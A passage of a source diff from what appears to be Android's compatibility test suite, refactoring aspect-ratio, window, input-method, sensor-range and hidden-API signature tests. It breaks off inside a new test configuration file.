+++ b/tests/framework/base/activitymanager/src/android/server/am/AspectRatioTests.java
@@ -16,10 +16,14 @@
package android.server.am;
-import static android.content.Context.WINDOW_SERVICE;
import static android.content.pm.PackageManager.FEATURE_WATCH;
+import static org.hamcrest.Matchers.greaterThanOrEqualTo;
+import static org.hamcrest.Matchers.is;
+import static org.hamcrest.Matchers.lessThanOrEqualTo;
+import static org.junit.Assert.assertThat;
import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeThat;
import android.app.Activity;
import android.content.Context;
@@ -31,8 +35,6 @@
import android.view.Display;
import android.view.WindowManager;
-import com.android.compatibility.common.util.PollingCheck;
-
import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -93,9 +95,9 @@
false /* initialTouchMode */, false /* launchActivity */);
@Test
- public void testDeviceAspectRatio() throws Exception {
+ public void testDeviceAspectRatio() {
final Context context = InstrumentationRegistry.getInstrumentation().getContext();
- final WindowManager wm = (WindowManager) context.getSystemService(WINDOW_SERVICE);
+ final WindowManager wm = context.getSystemService(WindowManager.class);
final Display display = wm.getDefaultDisplay();
final DisplayMetrics metrics = new DisplayMetrics();
display.getRealMetrics(metrics);
@@ -106,60 +108,46 @@
float expectedMinAspectRatio = context.getPackageManager().hasSystemFeature(FEATURE_WATCH)
? MIN_WATCH_DEVICE_ASPECT_RATIO : MIN_DEVICE_ASPECT_RATIO;
- if (deviceAspectRatio < expectedMinAspectRatio) {
- fail("deviceAspectRatio=" + deviceAspectRatio
- + " is less than expectedMinAspectRatio=" + expectedMinAspectRatio);
- }
+ assertThat(deviceAspectRatio, greaterThanOrEqualTo(expectedMinAspectRatio));
}
@Test
- public void testMaxAspectRatio() throws Exception {
- runAspectRatioTest(mMaxAspectRatioActivity, actual -> {
- if (MAX_ASPECT_RATIO >= actual) return;
- fail("actual=" + actual + " is greater than expected=" + MAX_ASPECT_RATIO);
+ public void testMaxAspectRatio() {
+ // Activity has a maxAspectRatio, assert that the actual ratio is less than that.
+ runAspectRatioTest(mMaxAspectRatioActivity, (actual, displayId) -> {
+ assertThat(actual, lessThanOrEqualTo(MAX_ASPECT_RATIO));
});
}
@Test
- public void testMetaDataMaxAspectRatio() throws Exception {
- runAspectRatioTest(mMetaDataMaxAspectRatioActivity, actual -> {
- if (MAX_ASPECT_RATIO >= actual) return;
- fail("actual=" + actual + " is greater than expected=" + MAX_ASPECT_RATIO);
+ public void testMetaDataMaxAspectRatio() {
+ // Activity has a maxAspectRatio, assert that the actual ratio is less than that.
+ runAspectRatioTest(mMetaDataMaxAspectRatioActivity, (actual, displayId) -> {
+ assertThat(actual, lessThanOrEqualTo(MAX_ASPECT_RATIO));
});
}
@Test
- public void testMaxAspectRatioResizeableActivity() throws Exception {
- final Context context = InstrumentationRegistry.getInstrumentation().getContext();
- final float expected = getAspectRatio(context);
- final Activity testActivity = launchActivity(mMaxAspectRatioResizeableActivity);
- PollingCheck.waitFor(testActivity::hasWindowFocus);
+ public void testMaxAspectRatioResizeableActivity() {
+ // Since this activity is resizeable, its max aspect ratio should be ignored.
+ runAspectRatioTest(mMaxAspectRatioResizeableActivity, (actual, displayId) -> {
+ // TODO(b/69982434): Add ability to get native aspect ratio non-default display.
+ assumeThat(displayId, is(Display.DEFAULT_DISPLAY));
- Display testDisplay = testActivity.findViewById(android.R.id.content).getDisplay();
-
- // TODO(b/69982434): Fix DisplayManager NPE when getting display from Instrumentation
- // context, then can use DisplayManager to get the aspect ratio of the correct display.
- if (testDisplay.getDisplayId() != Display.DEFAULT_DISPLAY) {
- return;
- }
-
- // Since this activity is resizeable, its aspect ratio shouldn't be less than the device's
- runTest(testActivity, actual -> {
- if (aspectRatioEqual(expected, actual) || expected < actual) return;
- fail("actual=" + actual + " is less than expected=" + expected);
+ final float defaultDisplayAspectRatio = getDefaultDisplayAspectRatio();
+ assertThat(actual, greaterThanOrEqualToInexact(defaultDisplayAspectRatio));
});
}
@Test
- public void testMaxAspectRatioUnsetActivity() throws Exception {
- final Context context = InstrumentationRegistry.getInstrumentation().getContext();
- final float expected = getAspectRatio(context);
+ public void testMaxAspectRatioUnsetActivity() {
+ // Since this activity didn't set an explicit maxAspectRatio, there should be no such
+ // ratio enforced.
+ runAspectRatioTest(mMaxAspectRatioUnsetActivity, (actual, displayId) -> {
+ // TODO(b/69982434): Add ability to get native aspect ratio non-default display.
+ assumeThat(displayId, is(Display.DEFAULT_DISPLAY));
- // Since this activity didn't set an aspect ratio, its aspect ratio shouldn't be less than
- // the device's
- runAspectRatioTest(mMaxAspectRatioUnsetActivity, actual -> {
- if (aspectRatioEqual(expected, actual) || expected < actual) return;
- fail("actual=" + actual + " is less than expected=" + expected);
+ assertThat(actual, greaterThanOrEqualToInexact(getDefaultDisplayAspectRatio()));
});
}
}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/AspectRatioTestsBase.java b/tests/framework/base/activitymanager/src/android/server/am/AspectRatioTestsBase.java
index 0d1086c..eaf1276 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/AspectRatioTestsBase.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/AspectRatioTestsBase.java
@@ -16,28 +16,39 @@
package android.server.am;
+import static org.hamcrest.Matchers.greaterThanOrEqualTo;
+import static org.hamcrest.Matchers.lessThanOrEqualTo;
+
import android.app.Activity;
-import android.content.Context;
import android.graphics.Point;
import android.support.test.InstrumentationRegistry;
import android.support.test.rule.ActivityTestRule;
import android.view.Display;
import android.view.WindowManager;
+import com.android.compatibility.common.util.PollingCheck;
+
+import org.hamcrest.Matcher;
+
class AspectRatioTestsBase {
// The delta allowed when comparing two floats for equality. We consider them equal if they are
// within two significant digits of each other.
private static final float FLOAT_EQUALITY_DELTA = .01f;
interface AssertAspectRatioCallback {
- void assertAspectRatio(float actual);
+ void assertAspectRatio(float actual, int displayId);
}
void runAspectRatioTest(final ActivityTestRule activityRule,
final AssertAspectRatioCallback callback) {
final Activity activity = launchActivity(activityRule);
- runTest(activity, callback);
- finishActivity(activityRule);
+ PollingCheck.waitFor(activity::hasWindowFocus);
+ try {
+ callback.assertAspectRatio(getActivityAspectRatio(activity),
+ getDisplay(activity).getDisplayId());
+ } finally {
+ finishActivity(activityRule);
+ }
// TODO(b/35810513): All this rotation stuff doesn't really work yet. Need to make sure
// context is updated correctly here. Also, what does it mean to be holding a reference to
@@ -51,13 +62,20 @@
// callback.assertAspectRatio(getAspectRatio(activity));
}
- protected void runTest(Activity activity, AssertAspectRatioCallback callback) {
- callback.assertAspectRatio(getAspectRatio(activity));
+ static float getDefaultDisplayAspectRatio() {
+ return getAspectRatio(InstrumentationRegistry.getContext().getSystemService(
+ WindowManager.class).getDefaultDisplay());
}
- static float getAspectRatio(Context context) {
- final Display display =
- context.getSystemService(WindowManager.class).getDefaultDisplay();
+ static float getActivityAspectRatio(Activity activity) {
+ return getAspectRatio(getDisplay(activity));
+ }
+
+ private static Display getDisplay(Activity activity) {
+ return activity.getWindow().peekDecorView().getDisplay();
+ }
+
+ private static float getAspectRatio(Display display) {
final Point size = new Point();
display.getSize(size);
final float longSide = Math.max(size.x, size.y);
@@ -82,11 +100,11 @@
InstrumentationRegistry.getInstrumentation().waitForIdleSync();
}
- static boolean aspectRatioEqual(float a, float b) {
- return Math.abs(a - b) < FLOAT_EQUALITY_DELTA;
+ static Matcher<Float> greaterThanOrEqualToInexact(float expected) {
+ return greaterThanOrEqualTo(expected - FLOAT_EQUALITY_DELTA);
}
- static boolean aspectRatioLessThanEqual(float a, float b) {
- return a < b || aspectRatioEqual(a, b);
+ static Matcher<Float> lessThanOrEqualToInexact(float expected) {
+ return lessThanOrEqualTo(expected + FLOAT_EQUALITY_DELTA);
}
}
diff --git a/tests/framework/base/activitymanager/testsdk25/Android.mk b/tests/framework/base/activitymanager/testsdk25/Android.mk
index e55d5f0..c9275f1 100644
--- a/tests/framework/base/activitymanager/testsdk25/Android.mk
+++ b/tests/framework/base/activitymanager/testsdk25/Android.mk
@@ -27,7 +27,8 @@
LOCAL_SDK_VERSION := 25
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test
+ android-support-test \
+ cts-amwm-util
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/tests/framework/base/activitymanager/testsdk25/src/android/server/am/AspectRatioSdk25Tests.java b/tests/framework/base/activitymanager/testsdk25/src/android/server/am/AspectRatioSdk25Tests.java
index ce83d59..f2c2477 100644
--- a/tests/framework/base/activitymanager/testsdk25/src/android/server/am/AspectRatioSdk25Tests.java
+++ b/tests/framework/base/activitymanager/testsdk25/src/android/server/am/AspectRatioSdk25Tests.java
@@ -16,6 +16,7 @@
package android.server.am;
+import static org.junit.Assert.assertThat;
import static org.junit.Assert.fail;
import android.app.Activity;
@@ -48,10 +49,9 @@
false /* initialTouchMode */, false /* launchActivity */);
@Test
- public void testMaxAspectRatioPreOActivity() throws Exception {
- runAspectRatioTest(mSdk25MaxAspectRatioActivity, actual -> {
- if (aspectRatioLessThanEqual(actual, MAX_PRE_O_ASPECT_RATIO)) return;
- fail("actual=" + actual + " is greater than expected=" + MAX_PRE_O_ASPECT_RATIO);
+ public void testMaxAspectRatioPreOActivity() {
+ runAspectRatioTest(mSdk25MaxAspectRatioActivity, (actual, displayId) -> {
+ assertThat(actual, lessThanOrEqualToInexact(MAX_PRE_O_ASPECT_RATIO));
});
}
}
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java
index 7d2a0e2..5d09c94 100644
--- a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java
@@ -137,12 +137,14 @@
import java.io.IOException;
import java.util.ArrayList;
import java.util.Arrays;
+import java.util.Collections;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.UUID;
+import java.util.concurrent.Callable;
import java.util.concurrent.TimeUnit;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
@@ -164,6 +166,14 @@
private static final String TEST_PACKAGE = "android.server.am";
private static final String SECOND_TEST_PACKAGE = "android.server.am.second";
private static final String THIRD_TEST_PACKAGE = "android.server.am.third";
+ private static final List<String> TEST_PACKAGES;
+ static {
+ final List<String> testPackages = new ArrayList<>(3);
+ testPackages.add(TEST_PACKAGE);
+ testPackages.add(SECOND_TEST_PACKAGE);
+ testPackages.add(THIRD_TEST_PACKAGE);
+ TEST_PACKAGES = Collections.unmodifiableList(testPackages);
+ }
protected static final String AM_START_HOME_ACTIVITY_COMMAND =
"am start -a android.intent.action.MAIN -c android.intent.category.HOME";
@@ -181,6 +191,14 @@
protected ActivityManager mAm;
protected ActivityTaskManager mAtm;
+ /**
+ * Callable to clear launch params for all test packages.
+ */
+ private final Callable<Void> mClearLaunchParamsCallable = () -> {
+ mAtm.clearLaunchParamsForPackages(TEST_PACKAGES);
+ return null;
+ };
+
@Rule
public final ActivityTestRule<SideActivity> mSideActivityRule =
new ActivityTestRule<>(SideActivity.class, true /* initialTouchMode */,
@@ -366,6 +384,9 @@
pressUnlockButton();
pressHomeButton();
removeStacksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
+
+ // Clear launch params for all test packages to make sure each test is run in a clean state.
+ SystemUtil.callWithShellPermissionIdentity(mClearLaunchParamsCallable);
}
@After
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/WindowManagerState.java b/tests/framework/base/activitymanager/util/src/android/server/am/WindowManagerState.java
index 770777e..0eceaf4 100644
--- a/tests/framework/base/activitymanager/util/src/android/server/am/WindowManagerState.java
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/WindowManagerState.java
@@ -328,6 +328,10 @@
}
}
+ List<WindowState> getMatchingWindowType(int type) {
+ return getMatchingWindows(ws -> type == ws.mType).collect(Collectors.toList());
+ }
+
List<String> getMatchingWindowTokens(final String windowName) {
return getMatchingWindows(ws -> windowName.equals(ws.getName()))
.map(WindowState::getToken)
@@ -633,7 +637,6 @@
static class WindowTask extends WindowContainer {
int mTaskId;
- Rect mTempInsetBounds;
List<String> mAppTokens = new ArrayList<>();
private int mSurfaceWidth;
private int mSurfaceHeight;
@@ -654,7 +657,6 @@
mSubWindows.addAll(window.getWindows());
}
}
- mTempInsetBounds = extract(proto.tempInsetBounds);
mSurfaceWidth = proto.surfaceWidth;
mSurfaceHeight = proto.surfaceHeight;
}
diff --git a/tests/framework/base/windowmanager/AndroidManifest.xml b/tests/framework/base/windowmanager/AndroidManifest.xml
index 85631ad..81f1b9d 100644
--- a/tests/framework/base/windowmanager/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/AndroidManifest.xml
@@ -32,7 +32,9 @@
<activity android:name="android.server.wm.AlertWindowsAppOpsTestsActivity"/>
<activity android:name="android.server.wm.DialogFrameTestActivity" />
- <activity android:name="android.server.wm.DisplayCutoutTests$TestActivity" />
+ <activity android:name="android.server.wm.DisplayCutoutTests$TestActivity"
+ android:turnScreenOn="true"
+ android:showWhenLocked="true"/>
<activity android:name="android.server.wm.LayoutTestsActivity"
android:theme="@style/no_animation" />
<activity android:name="android.server.wm.LocationOnScreenTests$TestActivity"
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DisplayCutoutTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DisplayCutoutTests.java
index fc02e8e..5caa9d6 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DisplayCutoutTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DisplayCutoutTests.java
@@ -351,13 +351,19 @@
}
View view = new View(this);
view.setLayoutParams(new ViewGroup.LayoutParams(MATCH_PARENT, MATCH_PARENT));
- view.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN
- | View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION
- | View.SYSTEM_UI_FLAG_HIDE_NAVIGATION);
view.setOnApplyWindowInsetsListener((v, insets) -> mDispatchedInsets = insets);
setContentView(view);
}
+ @Override
+ public void onWindowFocusChanged(boolean hasFocus) {
+ if (hasFocus) {
+ getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN
+ | View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION
+ | View.SYSTEM_UI_FLAG_HIDE_NAVIGATION);
+ }
+ }
+
View getDecorView() {
return getWindow().getDecorView();
}
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
index 9b3034e..f8faa15 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
@@ -74,7 +74,7 @@
public EditText launchTestActivity(String marker) {
final AtomicReference<EditText> editTextRef = new AtomicReference<>();
- TestActivity.startSync(activity-> {
+ TestActivity.startSyncAndWait(activity-> {
final LinearLayout layout = new LinearLayout(activity);
layout.setOrientation(LinearLayout.VERTICAL);
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/OnScreenPositionTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/OnScreenPositionTest.java
index b320f88..29f99e9 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/OnScreenPositionTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/OnScreenPositionTest.java
@@ -58,7 +58,7 @@
public EditText launchTestActivity() {
final AtomicReference<EditText> editTextRef = new AtomicReference<>();
- TestActivity.startSync(activity -> {
+ TestActivity.startSyncAndWait(activity -> {
final LinearLayout layout = new LinearLayout(activity);
layout.setOrientation(LinearLayout.VERTICAL);
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/SearchViewTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/SearchViewTest.java
index 619c852..f578e03 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/SearchViewTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/SearchViewTest.java
@@ -50,7 +50,7 @@
public SearchView launchTestActivity() {
final AtomicReference<SearchView> searchViewRef = new AtomicReference<>();
- TestActivity.startSync(activity -> {
+ TestActivity.startSyncAndWait(activity -> {
final LinearLayout layout = new LinearLayout(activity);
layout.setOrientation(LinearLayout.VERTICAL);
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/util/TestActivity.java b/tests/inputmethod/src/android/view/inputmethod/cts/util/TestActivity.java
index 0eaa3d6..f44c3f8 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/util/TestActivity.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/util/TestActivity.java
@@ -34,7 +34,6 @@
import java.util.function.Function;
public final class TestActivity extends Activity {
-
private static final AtomicReference<Function<TestActivity, View>> sInitializer =
new AtomicReference<>();
@@ -44,6 +43,8 @@
private long mOnBackPressedCallCount;
+ private boolean mEnterAnimationComplete = false;
+
/**
* Controls how {@link #onBackPressed()} behaves.
*
@@ -94,6 +95,25 @@
}
/**
+ * Launches {@link TestActivity} with the given initialization logic for content view and waits
+ * for the enter animation to complete.
+ *
+ * <p>As long as you are using {@link android.support.test.runner.AndroidJUnitRunner}, the test
+ * runner automatically calls {@link Activity#finish()} for the {@link Activity} launched when
+ * the test finished. You do not need to explicitly call {@link Activity#finish()}.</p>
+ *
+ * @param activityInitializer initializer to supply {@link View} to be passed to
+ * {@link Activity#setContentView(View)}
+ * @return {@link TestActivity} launched
+ */
+ public static TestActivity startSyncAndWait(
+ @NonNull Function<TestActivity, View> activityInitializer) {
+ TestActivity activity = startSync(activityInitializer, 0 /* noAnimation */);
+ activity.waitForEnterAnimationComplete();
+ return activity;
+ }
+
+ /**
* Launches {@link TestActivity} with the given initialization logic for content view.
*
* <p>As long as you are using {@link android.support.test.runner.AndroidJUnitRunner}, the test
@@ -135,6 +155,30 @@
.getInstrumentation().startActivitySync(intent);
}
+ @Override
+ public void onStop() {
+ super.onStop();
+ mEnterAnimationComplete = false;
+ }
+
+ @Override
+ public void onEnterAnimationComplete() {
+ synchronized (this) {
+ mEnterAnimationComplete = true;
+ notifyAll();
+ }
+ }
+
+ private void waitForEnterAnimationComplete() {
+ synchronized(this) {
+ if (mEnterAnimationComplete == false) {
+ try {
+ wait(5000);
+ } catch (InterruptedException e) {}
+ }
+ }
+ }
+
/**
* Updates {@link WindowManager.LayoutParams#softInputMode}.
*
diff --git a/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java b/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java
index 6fda9ed..94d7de8 100644
--- a/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java
@@ -77,6 +77,7 @@
private static final int STEP_DETECTOR_MIN_FIFO_LENGTH = 100;
private boolean mHasHifiSensors;
+ private boolean mVrModeHighPerformance;
private SensorManager mSensorManager;
@Override
@@ -84,6 +85,7 @@
PackageManager pm = getContext().getPackageManager();
mSensorManager = (SensorManager) getContext().getSystemService(Context.SENSOR_SERVICE);
mHasHifiSensors = pm.hasSystemFeature(PackageManager.FEATURE_HIFI_SENSORS);
+ mVrModeHighPerformance = pm.hasSystemFeature(PackageManager.FEATURE_VR_MODE_HIGH_PERFORMANCE);
}
public void testAccelerometerRange() {
@@ -92,7 +94,7 @@
ACCELEROMETER_HIFI_MAX_FREQUENCY_BEFORE_N;
checkSensorRangeAndFrequency(
- mSensorManager.getDefaultSensor(Sensor.TYPE_ACCELEROMETER),
+ Sensor.TYPE_ACCELEROMETER,
ACCELEROMETER_MAX_RANGE,
ACCELEROMETER_MAX_FREQUENCY,
ACCELEROMETER_HIFI_MAX_RANGE,
@@ -106,7 +108,7 @@
GYRO_HIFI_MAX_FREQUENCY_BEFORE_N;
checkSensorRangeAndFrequency(
- mSensorManager.getDefaultSensor(Sensor.TYPE_GYROSCOPE),
+ Sensor.TYPE_GYROSCOPE,
GYRO_MAX_RANGE,
GYRO_MAX_FREQUENCY,
GYRO_HIFI_MAX_RANGE,
@@ -116,7 +118,7 @@
public void testMagnetometerRange() {
checkSensorRangeAndFrequency(
- mSensorManager.getDefaultSensor(Sensor.TYPE_MAGNETIC_FIELD),
+ Sensor.TYPE_MAGNETIC_FIELD,
MAGNETOMETER_MAX_RANGE,
MAGNETOMETER_MAX_FREQUENCY,
MAGNETOMETER_HIFI_MAX_RANGE,
@@ -126,7 +128,7 @@
public void testPressureRange() {
checkSensorRangeAndFrequency(
- mSensorManager.getDefaultSensor(Sensor.TYPE_PRESSURE),
+ Sensor.TYPE_PRESSURE,
PRESSURE_MAX_RANGE,
PRESSURE_MAX_FREQUENCY,
PRESSURE_HIFI_MAX_RANGE,
@@ -135,11 +137,28 @@
}
private void checkSensorRangeAndFrequency(
- Sensor sensor, double maxRange, double maxFrequency, double hifiMaxRange,
+ int sensorType, double maxRange, double maxFrequency, double hifiMaxRange,
double hifiMinFrequency, double hifiMaxFrequency) {
+ boolean mustMeetHiFi = mHasHifiSensors;
- double range = mHasHifiSensors ? hifiMaxRange : maxRange;
- double frequency = mHasHifiSensors ? hifiMaxFrequency : maxFrequency;
+ // CDD 7.9.2/C-1-21: High Performance VR must meet accel, gyro, and mag HiFi requirements
+ if (mVrModeHighPerformance && (sensorType == Sensor.TYPE_ACCELEROMETER ||
+ sensorType == Sensor.TYPE_GYROSCOPE || sensorType == Sensor.TYPE_MAGNETIC_FIELD)) {
+ mustMeetHiFi = true;
+ }
+
+ Sensor sensor = mSensorManager.getDefaultSensor(sensorType);
+ if (sensor == null) {
+ if (mustMeetHiFi) {
+ fail(String.format("Must support sensor type %d", sensorType));
+ } else {
+ // Sensor is not required
+ return;
+ }
+ }
+
+ double range = mustMeetHiFi ? hifiMaxRange : maxRange;
+ double frequency = mustMeetHiFi ? hifiMaxFrequency : maxFrequency;
assertTrue(String.format("%s Range actual=%.2f expected=%.2f %s",
sensor.getName(), sensor.getMaximumRange(), range,
@@ -152,7 +171,7 @@
sensor.getName(), actualMaxFrequency, frequency), actualMaxFrequency >=
frequency - 0.1);
- if (mHasHifiSensors) {
+ if (mustMeetHiFi) {
double actualMinFrequency = SensorCtsHelper.getFrequency(sensor.getMaxDelay(),
TimeUnit.MICROSECONDS);
assertTrue(String.format("%s Min Frequency actual=%.2f expected=%.2fHz",
diff --git a/tests/signature/api-check/Android.mk b/tests/signature/api-check/Android.mk
index 7828933..08afe97 100644
--- a/tests/signature/api-check/Android.mk
+++ b/tests/signature/api-check/Android.mk
@@ -39,22 +39,13 @@
# ===================================
include $(CLEAR_VARS)
-LOCAL_MODULE := cts-hidden-api-blacklist
-LOCAL_MODULE_STEM := blacklist.api
+LOCAL_MODULE := cts-hiddenapi-flags
+LOCAL_MODULE_STEM := hiddenapi_flags.csv
LOCAL_MODULE_CLASS := ETC
LOCAL_MODULE_PATH = $(TARGET_OUT_DATA_ETC)
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_SYSTEM)/base_rules.mk
-$(eval $(call copy-one-file,$(INTERNAL_PLATFORM_HIDDENAPI_BLACKLIST),$(LOCAL_BUILT_MODULE)))
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := cts-hidden-api-dark-greylist
-LOCAL_MODULE_STEM := dark_greylist.api
-LOCAL_MODULE_CLASS := ETC
-LOCAL_MODULE_PATH = $(TARGET_OUT_DATA_ETC)
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-include $(BUILD_SYSTEM)/base_rules.mk
-$(eval $(call copy-one-file,$(INTERNAL_PLATFORM_HIDDENAPI_DARK_GREYLIST),$(LOCAL_BUILT_MODULE)))
+$(eval $(call copy-one-file,$(INTERNAL_PLATFORM_HIDDENAPI_FLAGS),$(LOCAL_BUILT_MODULE)))
include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/signature/api-check/hidden-api-blacklist-27-api/Android.mk b/tests/signature/api-check/hidden-api-blacklist-27-api/Android.mk
index 58bf17d..59f7d6f2 100644
--- a/tests/signature/api-check/hidden-api-blacklist-27-api/Android.mk
+++ b/tests/signature/api-check/hidden-api-blacklist-27-api/Android.mk
@@ -17,6 +17,6 @@
include $(CLEAR_VARS)
LOCAL_PACKAGE_NAME := CtsHiddenApiBlacklistApi27TestCases
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_SIGNATURE_API_FILES := blacklist.api
+LOCAL_SIGNATURE_API_FILES := hiddenapi_flags.csv
LOCAL_JNI_SHARED_LIBRARIES := libcts_dexchecker
include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/hidden-api-blacklist-27-api/AndroidTest.xml b/tests/signature/api-check/hidden-api-blacklist-27-api/AndroidTest.xml
index bfa5fc6..bf13b5a 100644
--- a/tests/signature/api-check/hidden-api-blacklist-27-api/AndroidTest.xml
+++ b/tests/signature/api-check/hidden-api-blacklist-27-api/AndroidTest.xml
@@ -21,7 +21,7 @@
<option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
</target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="push" value="blacklist.api->/data/local/tmp/signature-test/blacklist.api" />
+ <option name="push" value="hiddenapi_flags.csv->/data/local/tmp/signature-test/hiddenapi_flags.csv" />
</target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
@@ -31,7 +31,8 @@
<option name="package" value="android.signature.cts.api.hiddenapi_blacklist_api_27" />
<option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
<option name="class" value="android.signature.cts.api.HiddenApiTest" />
- <option name="instrumentation-arg" key="hidden-api-files" value="blacklist.api" />
+ <option name="instrumentation-arg" key="hiddenapi-files" value="hiddenapi_flags.csv" />
+ <option name="instrumentation-arg" key="hiddenapi-test-flags" value="blacklist" />
<option name="runtime-hint" value="30s" />
</test>
</configuration>
diff --git a/tests/signature/api-check/hidden-api-blacklist-28/Android.mk b/tests/signature/api-check/hidden-api-blacklist-28/Android.mk
new file mode 100644
index 0000000..f1cd2f3
--- /dev/null
+++ b/tests/signature/api-check/hidden-api-blacklist-28/Android.mk
@@ -0,0 +1,22 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_PACKAGE_NAME := CtsHiddenApiBlacklistApi28TestCases
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_SIGNATURE_API_FILES := hiddenapi_flags.csv
+LOCAL_JNI_SHARED_LIBRARIES := libcts_dexchecker
+include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/hidden-api-blacklist-28/AndroidManifest.xml b/tests/signature/api-check/hidden-api-blacklist-28/AndroidManifest.xml
new file mode 100644
index 0000000..51b986e
--- /dev/null
+++ b/tests/signature/api-check/hidden-api-blacklist-28/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.signature.cts.api.hiddenapi_blacklist_api_28">
+ <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+ <uses-sdk android:targetSdkVersion="28" />
+
+ <application/>
+
+ <instrumentation
+ android:name="repackaged.android.test.InstrumentationTestRunner"
+ android:targetPackage="android.signature.cts.api.hiddenapi_blacklist_api_28"
+ android:label="Hidden API Blacklist Test for SDK level 28"/>
+</manifest>
diff --git a/tests/signature/api-check/hidden-api-blacklist-28/AndroidTest.xml b/tests/signature/api-check/hidden-api-blacklist-28/AndroidTest.xml
new file mode 100644
index 0000000..011a565
--- /dev/null
+++ b/tests/signature/api-check/hidden-api-blacklist-28/AndroidTest.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS Hidden API Signature test cases">
+ <option name="test-suite-tag" value="cts" />
+ <option name="config-descriptor:metadata" key="component" value="systems" />
+ <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+ <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
